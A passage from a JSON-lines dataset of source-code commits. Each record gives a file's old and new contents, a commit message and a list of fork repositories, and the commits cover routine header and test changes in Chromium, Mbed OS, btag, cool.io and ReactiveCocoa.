lk-efl,markYoungH\/chromium.src,rogerwang\/chromium,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk,Chilledheart\/chromium,hujiajie\/pa-chromium,ltilve\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,keishi\/chromium,keishi\/chromium,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,Just-D\/chromium-1,jaruba\/chromium.src,ondra-novak\/chromium.src,rogerwang\/chromium,Jonekee\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,rogerwang\/chromium,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,keishi\/chromium,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,robclark\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,keishi\/chromium,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,hujiajie\/pa-chromium,rogerwang\/chromium,robclark\/chromium,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,ltilve\/chromium,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,robclark\/chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dednal\/chromium.src,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Chilledheart\/chromium,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,chuan9\/chromium-crosswalk,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,zcbenz\/cefode-chromium,Jonekee\/chromium.src,dednal\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,ltilve\/chromium,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,dushu1203\/chromium.src,robclark\/chromium,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,chuan9\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,patrickm\/chromium.src,M4sse\/chromium.src,ondra-novak\/chromium.src,rogerwang\/chromium,anirudhSK\/chromium,M4sse\/chromium.src,Jonekee\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,rogerwang\/chromium,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,M4sse\/chromium.src,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,robclark\/chromium,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk"}
{"commit":"037429a86d8cd163f2d0af608f6e415bdf891bab","old_file":"webkit\/glue\/unittest_test_server.h","new_file":"webkit\/glue\/unittest_test_server.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n#define WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n\n#include \"net\/base\/load_flags.h\"\n#include \"net\/test\/test_server.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"webkit\/appcache\/appcache_interfaces.h\"\n\nclass UnittestTestServer : public net::TestServer {\n public:\n  UnittestTestServer()\n      : net::TestServer(net::TestServer::TYPE_HTTP,\n                        FilePath(FILE_PATH_LITERAL(\"webkit\/data\"))) {\n  }\n};\n\n#endif  \/\/ WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n#define WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n\n#include \"net\/base\/load_flags.h\"\n#include \"net\/test\/test_server.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"webkit\/appcache\/appcache_interfaces.h\"\n\nclass UnittestTestServer : public net::TestServer {\n public:\n  UnittestTestServer()\n      : net::TestServer(net::TestServer::TYPE_HTTP,\n                        net::TestServer::kLocalhost,\n                        FilePath(FILE_PATH_LITERAL(\"webkit\/data\"))) {\n  }\n};\n\n#endif  \/\/ WEBKIT_GLUE_UNITTEST_TEST_SERVER_H__\n","subject":"Remove usage of a deprecated TestServer constructor.","message":"Remove usage of a deprecated TestServer constructor.\n\nHostname must now be explicitly specified (previously default was 127.0.0.1). See the following CL for further details:\n\nhttp:\/\/codereview.chromium.org\/9369029\/\n\nA follow-up CL will remove the deprecated constructor:\n\nhttp:\/\/codereview.chromium.org\/9431002\/\n\nBUG=114369\nTEST=everything still compiles and passes\n\n\nReview URL: http:\/\/codereview.chromium.org\/9429052\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@123095 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium"}
{"commit":"aa7e1ce0e564afd205acd5fc1323cd18232b0620","old_file":"TESTS\/psa\/prot_internal_storage\/its_reset\/COMPONENT_PSA_SRV_EMUL\/test_pits.c","new_file":"TESTS\/psa\/prot_internal_storage\/its_reset\/COMPONENT_PSA_SRV_EMUL\/test_pits.c","old_contents":"\/* Copyright (c) 2018 ARM Limited\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"test_pits.h\"\n#include \"test_pits_impl.h\"\n\npsa_its_status_t test_psa_its_reset(void)\n{\n    return test_psa_its_reset_impl();\n}\n","new_contents":"\/* Copyright (c) 2018 ARM Limited\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef TARGET_PSA\n#error [NOT_SUPPORTED] ITS tests can run only on PSA-enabled targets.\n#endif \/\/ TARGET_PSA\n\n#include \"test_pits.h\"\n#include \"test_pits_impl.h\"\n\npsa_its_status_t test_psa_its_reset(void)\n{\n    return test_psa_its_reset_impl();\n}\n","subject":"Fix its tests in non-psa targets","message":"Fix its tests in non-psa targets\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,kjbracey-arm\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,kjbracey-arm\/mbed"}
{"commit":"0e52c608224046c8e6a737e13bf0ca258fea87e3","old_file":"src\/ConfirmationHandler.h","new_file":"src\/ConfirmationHandler.h","old_contents":"\/*\n * This file is part of btag.\n *\n * © 2011 Fernando Tarlá Cardoso Lemos\n *\n * Refer to the LICENSE file for licensing information.\n *\n *\/\n\n#ifndef CONFIRMATION_HANDLER_H\n#define CONFIRMATION_HANDLER_H\n\n#include <string>\n\n#include \"BasicStringFilter.h\"\n#include \"InteractiveTerminal.h\"\n\nclass ConfirmationHandler\n{\n    public:\n        ConfirmationHandler(InteractiveTerminal &terminal,\n                BasicStringFilter *input_filter = NULL, BasicStringFilter *output_filter = NULL);\n\n        void reset();\n        void set_local_default(const std::wstring &local);\n        bool ask(const std::wstring &question);\n\n        bool complies() const { return m_complies; }\n        const std::wstring &answer() const { return m_output; }\n\n    private:\n        bool do_ask(const std::wstring &question);\n\n        InteractiveTerminal &m_terminal;\n        BasicStringFilter *m_input_filter, *m_output_filter;\n\n        std::wstring m_global_def, m_local_def, m_output;\n        bool m_retry, m_complies;\n};\n\n#endif\n","new_contents":"\/*\n * This file is part of btag.\n *\n * © 2011 Fernando Tarlá Cardoso Lemos\n *\n * Refer to the LICENSE file for licensing information.\n *\n *\/\n\n#ifndef CONFIRMATION_HANDLER_H\n#define CONFIRMATION_HANDLER_H\n\n#include <string>\n\n#include \"BasicStringFilter.h\"\n#include \"InteractiveTerminal.h\"\n\nclass ConfirmationHandler\n{\n    public:\n        ConfirmationHandler(InteractiveTerminal &terminal,\n                BasicStringFilter *input_filter = NULL, BasicStringFilter *output_filter = NULL);\n\n        void reset();\n        void set_local_default(const std::wstring &local);\n        bool ask(const std::wstring &question);\n\n        bool complies() const { return m_complies; }\n        const std::wstring &answer() const { return m_output; }\n\n    private:\n        bool do_ask(const std::wstring &question);\n\n        InteractiveTerminal &m_terminal;\n        BasicStringFilter *m_input_filter, *m_output_filter;\n\n        std::wstring m_global_def, m_local_def, m_output;\n        bool m_complies;\n};\n\n#endif\n","subject":"Remove unused private instance variable","message":"Remove unused private instance variable\n\nbtag now compiles again in OS X without warnings.\n","lang":"C","license":"bsd-2-clause","repos":"fernandotcl\/btag,fernandotcl\/btag"}
{"commit":"44562efeedb317fecdcbe60b802d86ec361b6f61","old_file":"ext\/cool.io\/ev_wrap.h","new_file":"ext\/cool.io\/ev_wrap.h","old_contents":"#define EV_STANDALONE              \/* keeps ev from requiring config.h *\/\n#ifdef _WIN32\n# define EV_SELECT_IS_WINSOCKET 1   \/* configure libev for windows select *\/\n# define FD_SETSIZE 2048 \/* wishful thinking, as msvcrt6 [?] seems to only allow 512 fd's and 256 sockets max *\/\n#endif\n\n#include \"..\/libev\/ev.h\"\n\n","new_contents":"#define EV_STANDALONE              \/* keeps ev from requiring config.h *\/\n\n#ifdef _WIN32\n#define EV_SELECT_IS_WINSOCKET 1   \/* configure libev for windows select *\/\n#define EV_USE_MONOTONIC 0\n#define EV_USE_REALTIME 0\n#endif\n\n#include \"..\/libev\/ev.h\"\n\n","subject":"Remove unnecessary definition and disable EV_USE_MONOTONIC and EV_USE_REALTIME on windows","message":"Remove unnecessary definition and disable EV_USE_MONOTONIC and EV_USE_REALTIME on windows\n","lang":"C","license":"mit","repos":"nurse\/cool.io,tarcieri\/cool.io,nurse\/cool.io,tarcieri\/cool.io,tarcieri\/cool.io,cosmo0920\/cool.io,cosmo0920\/cool.io"}
{"commit":"0b0347a7fded792024f223c7693bed7f7a91881c","old_file":"ReactiveCocoaFramework\/ReactiveCocoa\/NSString+RACKeyPathUtilities.h","new_file":"ReactiveCocoaFramework\/ReactiveCocoa\/NSString+RACKeyPathUtilities.h","old_contents":"\/\/\n\/\/  NSString+RACKeyPathUtilities.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Uri Baghin on 05\/05\/2013.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (RACKeyPathUtilities)\n\n\/\/ Returns an array of the components of the receiver, or nil if the receiver is\n\/\/ not a valid key path.\n- (NSArray *)rac_keyPathComponents;\n\n\/\/ Returns a key path with all the components of the receiver except for the\n\/\/ last one or nil if the receiver is not a valid key path, or has only one\n\/\/ component.\n- (NSString *)rac_keyPathByDeletingLastKeyPathComponent;\n\n\/\/ Returns a key path with all the components of the receiver expect for the\n\/\/ first one or nil if the receiver is not a valid key path, or has only one\n\/\/ component.\n- (NSString *)rac_keyPathByDeletingFirstKeyPathComponent;\n\n@end\n","new_contents":"\/\/\n\/\/  NSString+RACKeyPathUtilities.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Uri Baghin on 05\/05\/2013.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSString (RACKeyPathUtilities)\n\n\/\/ Returns an array of the components of the receiver.\n\/\/\n\/\/ Calling this method on a string that isn't a key path is considered undefined\n\/\/ behavior.\n- (NSArray *)rac_keyPathComponents;\n\n\/\/ Returns a key path with all the components of the receiver except for the\n\/\/ last one.\n\/\/\n\/\/ Calling this method on a string that isn't a key path is considered undefined\n\/\/ behavior.\n- (NSString *)rac_keyPathByDeletingLastKeyPathComponent;\n\n\/\/ Returns a key path with all the components of the receiver expect for the\n\/\/ first one.\n\/\/\n\/\/ Calling this method on a string that isn't a key path is considered undefined\n\/\/ behavior.\n- (NSString *)rac_keyPathByDeletingFirstKeyPathComponent;\n\n@end\n","subject":"Change RACKeyPathUtilities to be undefined on strings that aren't key paths.","message":"Change RACKeyPathUtilities to be undefined on strings that aren't key paths.\n","lang":"C","license":"mit","repos":"KJin99\/ReactiveCocoa,buildo\/ReactiveCocoa,pzw224\/ReactiveCocoa,paulyoung\/ReactiveCocoa,terry408911\/ReactiveCocoa,swizzlr\/ReactiveCocoa,brightcove\/ReactiveCocoa,tonyli508\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,Khan\/ReactiveCocoa,calebd\/ReactiveCocoa,Ethan89\/ReactiveCocoa,loupman\/ReactiveCocoa,llb1119\/test,KuPai32G\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,DreamHill\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,imkerberos\/ReactiveCocoa,tzongw\/ReactiveCocoa,chao95957\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,valleyman86\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,icepy\/ReactiveCocoa,libiao88\/ReactiveCocoa,towik\/ReactiveCocoa,clg0118\/ReactiveCocoa,tiger8888\/ReactiveCocoa,Eveian\/ReactiveCocoa,vincentiss\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,hilllinux\/ReactiveCocoa,SuPair\/ReactiveCocoa,natestedman\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,natan\/ReactiveCocoa,yytong\/ReactiveCocoa,calebd\/ReactiveCocoa,WEIBP\/ReactiveCocoa,brasbug\/ReactiveCocoa,natan\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,lixar\/ReactiveCocoa,paulyoung\/ReactiveCocoa,on99\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,chao95957\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,victorlin\/ReactiveCocoa,eyu1988\/ReactiveCocoa,andersio\/ReactiveCocoa,kaylio\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,natestedman\/ReactiveCocoa,JackLian\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,calebd\/ReactiveCocoa,howandhao\/ReactiveCocoa,stevielu\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,pzw224\/ReactiveCocoa,fanghao085\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,DreamHill\/ReactiveCocoa,zzzworm\/ReactiveCocoa,tzongw\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,Ray0218\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,chieryw\/ReactiveCocoa,dz1111\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,andersio\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,tiger8888\/ReactiveCocoa,JackLian\/ReactiveCocoa,jianwoo\/ReactiveCocoa,bscarano\/ReactiveCocoa,cogddo\/ReactiveCocoa,Khan\/ReactiveCocoa,gengjf\/ReactiveCocoa,brasbug\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,esttorhe\/ReactiveCocoa,xumaolin\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,dskatz22\/ReactiveCocoa,wangqi211\/ReactiveCocoa,yytong\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,buildo\/ReactiveCocoa,fhchina\/ReactiveCocoa,Carthage\/ReactiveCocoa,yonekawa\/ReactiveCocoa,dullgrass\/ReactiveCocoa,bscarano\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,isghe\/ReactiveCocoa,SanChain\/ReactiveCocoa,ohwutup\/ReactiveCocoa,AllanChen\/ReactiveCocoa,liufeigit\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,yonekawa\/ReactiveCocoa,jsslai\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,libiao88\/ReactiveCocoa,rpowelll\/ReactiveCocoa,valleyman86\/ReactiveCocoa,mtxs007\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,esttorhe\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,dskatz22\/ReactiveCocoa,qq644531343\/ReactiveCocoa,dskatz22\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,add715\/ReactiveCocoa,xulibao\/ReactiveCocoa,terry408911\/ReactiveCocoa,on99\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,llb1119\/test,llb1119\/test,nickcheng\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,qq644531343\/ReactiveCocoa,jackywpy\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,nickcheng\/ReactiveCocoa,jam891\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,cnbin\/ReactiveCocoa,kiurentu\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,cstars135\/ReactiveCocoa,xumaolin\/ReactiveCocoa,sandyway\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,andersio\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,liufeigit\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,buildo\/ReactiveCocoa,Carthage\/ReactiveCocoa,Ricowere\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,sujeking\/ReactiveCocoa,Remitly\/ReactiveCocoa,sugar2010\/ReactiveCocoa,chao95957\/ReactiveCocoa,jianwoo\/ReactiveCocoa,Pingco\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,ceekayel\/ReactiveCocoa,jaylib\/ReactiveCocoa,smilypeda\/ReactiveCocoa,beni55\/ReactiveCocoa,ztchena\/ReactiveCocoa,dz1111\/ReactiveCocoa,icepy\/ReactiveCocoa,sandyway\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,bencochran\/ReactiveCocoa,WEIBP\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,almassapargali\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,koamac\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,richeterre\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,Pikdays\/ReactiveCocoa,smilypeda\/ReactiveCocoa,Pikdays\/ReactiveCocoa,zhenlove\/ReactiveCocoa,bensonday\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,KJin99\/ReactiveCocoa,AlanJN\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,zzzworm\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,jaylib\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,xulibao\/ReactiveCocoa,chieryw\/ReactiveCocoa,add715\/ReactiveCocoa,howandhao\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,cnbin\/ReactiveCocoa,hbucius\/ReactiveCocoa,mxxiv\/ReactiveCocoa,jaylib\/ReactiveCocoa,Ethan89\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,jeelun\/ReactiveCocoa,yizzuide\/ReactiveCocoa,dz1111\/ReactiveCocoa,hj3938\/ReactiveCocoa,towik\/ReactiveCocoa,towik\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,stupidfive\/ReactiveCocoa,jam891\/ReactiveCocoa,gengjf\/ReactiveCocoa,Pingco\/ReactiveCocoa,fanghao085\/ReactiveCocoa,tonyli508\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,vincentiss\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,jackywpy\/ReactiveCocoa,jeelun\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,cstars135\/ReactiveCocoa,cstars135\/ReactiveCocoa,jam891\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,jeelun\/ReactiveCocoa,Ricowere\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,WEIBP\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,pzw224\/ReactiveCocoa,leelili\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,j364960953\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,yonekawa\/ReactiveCocoa,hj3938\/ReactiveCocoa,richeterre\/ReactiveCocoa,tornade0913\/ReactiveCocoa,mtxs007\/ReactiveCocoa,Khan\/ReactiveCocoa,kiurentu\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,huiping192\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,335g\/ReactiveCocoa,richeterre\/ReactiveCocoa,gabemdev\/ReactiveCocoa,eyu1988\/ReactiveCocoa,sugar2010\/ReactiveCocoa,bencochran\/ReactiveCocoa,SanChain\/ReactiveCocoa,victorlin\/ReactiveCocoa,zhenlove\/ReactiveCocoa,mxxiv\/ReactiveCocoa,cogddo\/ReactiveCocoa,nickcheng\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,victorlin\/ReactiveCocoa,longv2go\/ReactiveCocoa,SuPair\/ReactiveCocoa,hilllinux\/ReactiveCocoa,add715\/ReactiveCocoa,wangqi211\/ReactiveCocoa,longv2go\/ReactiveCocoa,tornade0913\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,mattpetters\/ReactiveCocoa,huiping192\/ReactiveCocoa,almassapargali\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,xulibao\/ReactiveCocoa,on99\/ReactiveCocoa,200895045\/ReactiveCocoa,mattpetters\/ReactiveCocoa,paulyoung\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,valleyman86\/ReactiveCocoa,eliperkins\/ReactiveCocoa,DreamHill\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,Remitly\/ReactiveCocoa,loupman\/ReactiveCocoa,CQXfly\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,ohwutup\/ReactiveCocoa,jackywpy\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,ikesyo\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,imkerberos\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,Ricowere\/ReactiveCocoa,stupidfive\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,Eveian\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,ailyanlu\/ReactiveCocoa,KJin99\/ReactiveCocoa,liufeigit\/ReactiveCocoa,imkerberos\/ReactiveCocoa,almassapargali\/ReactiveCocoa,goodheart\/ReactiveCocoa,esttorhe\/ReactiveCocoa,windgo\/ReactiveCocoa,libiao88\/ReactiveCocoa,brasbug\/ReactiveCocoa,esttorhe\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,terry408911\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,AllanChen\/ReactiveCocoa,tipbit\/ReactiveCocoa,j364960953\/ReactiveCocoa,clg0118\/ReactiveCocoa,bscarano\/ReactiveCocoa,stevielu\/ReactiveCocoa,Farteen\/ReactiveCocoa,eliperkins\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,gengjf\/ReactiveCocoa,rpowelll\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,cnbin\/ReactiveCocoa,shaohung001\/ReactiveCocoa,ikesyo\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,ztchena\/ReactiveCocoa,s